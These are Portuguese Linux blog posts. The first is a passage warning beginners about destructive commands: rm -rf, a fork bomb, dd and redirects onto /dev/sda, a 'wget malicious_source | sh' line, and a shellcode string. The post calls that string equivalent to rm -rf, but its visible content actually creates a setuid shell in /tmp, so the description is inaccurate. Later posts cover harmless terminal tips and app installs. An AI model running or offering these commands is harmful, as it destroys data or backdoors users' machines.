- rm -rf * : Força o apagamento de tudo que está no diretório atual ou no de trabalho, dependendo de onde você estiver.
- rm -rf . : Acrescentando um ponto, você pode apagar também as pastas ocultas, além das normais.

Tome muito cuidado ao executar um comando destes, especialmente se for feito como root ou usando o sudo.


Tão perigoso que pode ser este comando, que atualmente o Linux se protege contra ele, se você rodá-lo, mesmo com sudo ou como root, ele não vai funcionar, para isso é preciso usar os parâmetros descritos na imagem acima. Da mesma forma que o Linux protege você de destruir o sistema sem querer, ele também permite que você o destrua mediante a ter certeza de que é realmente isso que você quer, curioso, não é?

2 - :(){:|:&};:


Este comando funciona como uma "Fork Bomb", ele opera definindo uma função chamada ':', que se chama duas vezes, uma vez em primeiro plano e outra em segundo plano, o processo se repete indefinidamente até que o sistema trave.

3 - qualquer comando para > /dev/sda


A forma com que o Linux lê as partições e discos é diferente do Windows, por conta disso, normalmente novatos não conseguem entender em primeira instância como eles são distribuídos. Normalmente a localização dos dispositivos de armazenamento do sistema ficam dentro de /dev, sendo que podem haver vários por ali e normalmente o sda está presente.

O problema do comando acima é que ele redireciona a saída de qualquer comando que seja colocado para o seu bloco de armazenamento, desta foma sobrescrevendo alguns dados e corrompendo outros.

4 - mv pasta/diretório /dev/null


Eu costumava brincar sobre o /dev/null me referindo a ele como o "buraco negro" do Linux. Tudo que é enviado para ele é perdido "para sempre". Então tome cuidado ao mover qualquer coisa para esta localização. O comando mv serve para mover arquivos ou diretórios para o destino indicado, se este destino for o /dev/null você estará mandando seus arquivos pra Nárnia.

5 - wget http://malicious_source -O- | sh


Este comando vai aparecer para você instalar alguns programas. O wget é o programa responsável por fazer o download da URL que vem logo após, ele é bem útil para baixar arquivos em geral, o problema está no arquivo que ele baixa e na sequência do comando  que o executa no caso dele ser um shell script. Só baixe arquivos desta forma de fontes que você considera confiáveis e se estiver na dúvida, baixe apenas o arquivo de shell, eliminando qualquer parâmetro que apareça após o link, assim você pode abrir ele em um editor de texto de sua preferência e verificar o que há dentro dele.

6 - dd if=/dev/random of=/dev/sda


Assim como o ítem 3 da nossa lista, o grande problema aqui é o destino ser o /dev/sda. Tome cuidado. O comando dd pode ser muito útil para copiar arquivos e até mesmo partições inteiras, como no exemplo 6, mas se a saída for um outro disco, tome cuidado, pois o resultado irá sobrepor os dados lá existentes.

7 - Comandos disfarçados


Como eu comentei à princípio, o terminal é uma ferramenta poderosa, se você não dominá-lo, é bom ter cuidado com que você for rodar nele, se o você não fala a língua do terminal, saiba que ele fala muitas outras. O comando abaixo nada mais é do que o comando indicado no primeiro item da nossa lista, só que em forma hexadecimal.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ele tem o mesmo propósito do famigerado "rm -rf /", por isso, não rode coisas no terminal que você não sabe para quem servem, existem muito conteúdo grátis a internet para você estudar sobre e até mesmo alguns bons cursos pagos, como é o caso do "Dominando o Terminal" aqui do blog mesmo, mas em linhas gerais, se você evitar colocar comandos que você não sabe para que servem direito, os problemas já serão minimizados. 

Agora espalhe este conhecimento para ajudar mais pessoas a ficarem precavidas sobre estes pequenos percalços da vida computacional.

Até a próxima!
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quarta-feira, 25 de janeiro de 2017

Cool Retro Term - Um terminal cheio de estilo para você usar no Ubuntu e no Linux Mint

Que tal dar uma incrementada no visual do seu terminal e ainda dar um visual retrô para ele para se sentir um "hacker das antigas"? Conheça agora o belo Cool Retro Term.

Ubuntu Cool Retro Term




O Cool Retro Term não traz para o usuário nenhuma utilidade prática diferenciada de um aplicativo de terminal, sem grande diferencial é a sua aparência mesmo e seus vários temas. Através do menu "Profiles" você poderá escolher entre 9 temas diferentes, confira:

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

As imagens não conseguem representar completamente, mas todos os temas tem animações nas suas telas e você encontra mais algumas opções de personalização nas configurações do aplicativo, como remover as bordas que lembram um televisor antigo.

Como instalar no Ubuntu e no Linux Mint


A instalação no Ubuntu ou no Linux Mint é feita através de um PPA.

PPA: ppa:noobslab/apps


Se você preferir fazer pelo terminal:
sudo add-apt-repository ppa:noobslab/apps 
sudo apt-get update
sudo apt install cool-retro-term
Você encontrará o aplicativo diretamente no menu do seu sistema.

Até a próxima!
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terça-feira, 10 de janeiro de 2017

Conheça o "Hollywood" o comando do terminal Linux mais zoeiro da história

Você já deve ter reparado que Hollywood gosta de representar um "hack" a algum sistema ou computador com muitas imagens que parecem algo muito complexo, de preferência cheio de "letrinhas" coloridas e telas piscando. Hoje você vai aprender a criar uma coisa assim no seu terminal.

Hacker de Hollywood no Ubuntu





Nos vídeos que nós fizemos sobre a série Mr. Robot, um dos comentários mais recorrentes que tivemos foi justamente sobre a verossimilhança da série e o quanto, desta forma, ela acaba agrando os profissionais da tecnologia, porém, não podemos esperar que todos os filmes e séries tenham o mesmo compromisso, muitas vezes uma tela bem desenhada e com um visual mais descritivo pode funcionar melhor para o público.

Como zoeira pouca é bobagem e o terminal Linux só não faz pizza (ou faz?), hoje vou vai aprender a "pagar de hacker" usando um comando só.

Se você é um cara quer aprender um pouco mais sobre o terminal, de forma séria, eu recomendo ler o nosso post recente que te mostram alguns comandos do Terminal que pode ser bem úteis e uma série de outras dicas.

Hollywood

Baseado na criatividade dos hackers hollywoodianos é que foi criado um pacote chamado hollywood, ele roda vários pequenos programas no terminal de uma forma muito dinâmica e ainda toca a música do "Missão impossível" (sério!")

Para instalar no Ubuntu e derivados abra o terminal e digite:
sudo apt install hollywood
Depois de instalado basta rodar o comando "hollywood" e aproveitar o show!
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sábado, 3 de dezembro de 2016

7 comandos do terminal que fazem coisas curiosas e úteis

O terminal Linux é algo com muito mais recursos do que se possa imaginar, existem várias coisas curiosas que é possível fazer através dele, desde ouvir músicas e ver vídeos até algumas coisas menos úteis, mas ainda assim divertidas.

Dicas para dominar o terminal Linux




Nós preparamos para você um curso especial de Bash para você ficar ninja no terminal, mas isso não quer dizer que todas as dicas tenham acabado, muito pelo contrário, temos aqui mais 7 dicas para você usar no seu terminal e quem sabe ter um pouco mais de produtividade com ele.

Se você quiser mais algumas dicas grátis em vídeo clique aqui e confira a jornada épica do Tiago, desenvolvedor da Canonical que nos ajudou a bolar o curso.

Vamos lá então, hora de aprender alguns comandos novos!

1 - wc (word count) 


Esse comando serve para você contar quantas palavras, caracteres e linhas existem dentro de um determinado arquivo de texto, o seu uso é muito simples. Se não passar opção nenhuma ele informa as 3 contagens, mas você pode especificar se quer somente linhas com -l, somente palavras com -w ou somente caracteres com -c. Veja alguns exemplos:
 wc /etc/hosts
wc -l /etc/hosts
wc -w /etc/hosts
wc -c /etc/hosts

2 - arecord e aplay


São comandos do pacote alsa-utils que, além de outras coisas, permitem que você grave e toque sons diretamente no terminal.

O comando "arecord -f cd" por padrão imprime no stdout* o resultado da gravação de áudio (um arquivo .wav) a partir de um microfone disponível, e isto vai sujar a tela com dados binários, por isso usamos a funcionalidade de redirecionamento* do bash para jogar o conteúdo para um arquivo. Veja que no exemplo o arquivo criado "meu_podcast" não contém a extensão .wav. Isto é proposital pois usaremos o mesmo arquivo para explicar o próximo comando. Veja o exemplo:
arecord -f cd 1> meu_podcast
E para tocar o arquivo basta utilizar o comando aplay:
aplay meu_podcast

3 - file


No linux as extensões dos arquivos são opcionais, portanto nem sempre é possível dizer qual é o tipo de arquivo só olhando o seu nome.

Para isso podemos usar o comando file (do pacote chamado file no Ubuntu), que analisa o interior do arquivo e tenta nos dizer qual tipo ele é. ex:
file meu_podcast
O resultado pode ser algo parecido com isso:

meu_podcast: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz

Ou outro exemplo:
file /bin/bash
Que vai trazer um resultado assim:

/bin/bash: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0428e4834e687e231fa865562d32fbb64ce45577, stripped

4 - head e tail


São comandos para respectivamente listar as primeiras e últimas linhas de um arquivo, ou do conteúdo recebido na entrada padrão (stdin*). Head vem do inglês "cabeça" e tail "cauda".

O parâmetro -n indica o número de linhas. Se o parâmetro -n não for passado, os comandos assumem que serão 10 linhas.
head -n 5 /etc/hosts
head /etc/hosts
tail -n 2 /etc/hosts
tail /etc/hosts

O seguinte comando mostra como o head e o tail podem ser usados em um exemplo mais complexo, como em uma pipeline* do bash.
ps aux | tail -n 7


5 - du


O comando "du" nos ajuda a descobrir quanto de espaço um diretório/pasta está ocupando no disco.
Mas para ele ser realmente útil é preciso de algumas opções extras.

O comando seguinte permite que o "du" crie um sumário de cada um dos diretórios na raiz do sistema. Isto claro que pode demorar um pouco, afinal ele vai percorrer todo o disco e gerar um resumo em megabytes.
sudo du -m --max-depth=1 /
Vamos supor que você descubra que o diretório /home está ocupando muito espaço, então você pode começar uma verdadeira "caça às bruxas" e procurar o diretório que está roubando seu espaço em disco:
sudo du -m --max-depth=1 /home
E assim por diante.

6 - cal


O comando "cal" nos mostra um calendário do mês atual direto no terminal:
cal
A saída vai ser algo parecido com isto:

          
             
Mas o comando cal também pode mostrar o calendário completo de um ano com o comando -y.

Mostrando o ano atual:
cal -y
Mostrando algum outro ano:
cal -y 2017
Aproveite a saída e veja em que dia da semana cai o seu aniversário no ano que vem.

7 - history


O comando history é um comando interno no bash. (builtin*). Ele serve para imprimir pra você os comandos anteriores já executados na linha de comando.

É basicamente um histórico que o Bash mantém, assim como os navegadores guardam os sites que você já visitou.
history
Se você não está familiarizado com estes termos de linha de comando (stdin, stdout, pipeline, builtin, redirecionamentos, etc) e quer aprender mais sobre terminal e sobre o interpretador Bash (que é o padrão do Linux, independente da distro), veja esta apresentação do curso dominando o terminal Linux, onde passamos mais 3 dicas sobre linha de comando que vão facilitar sua vida.


Até a próxima!




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quinta-feira, 1 de dezembro de 2016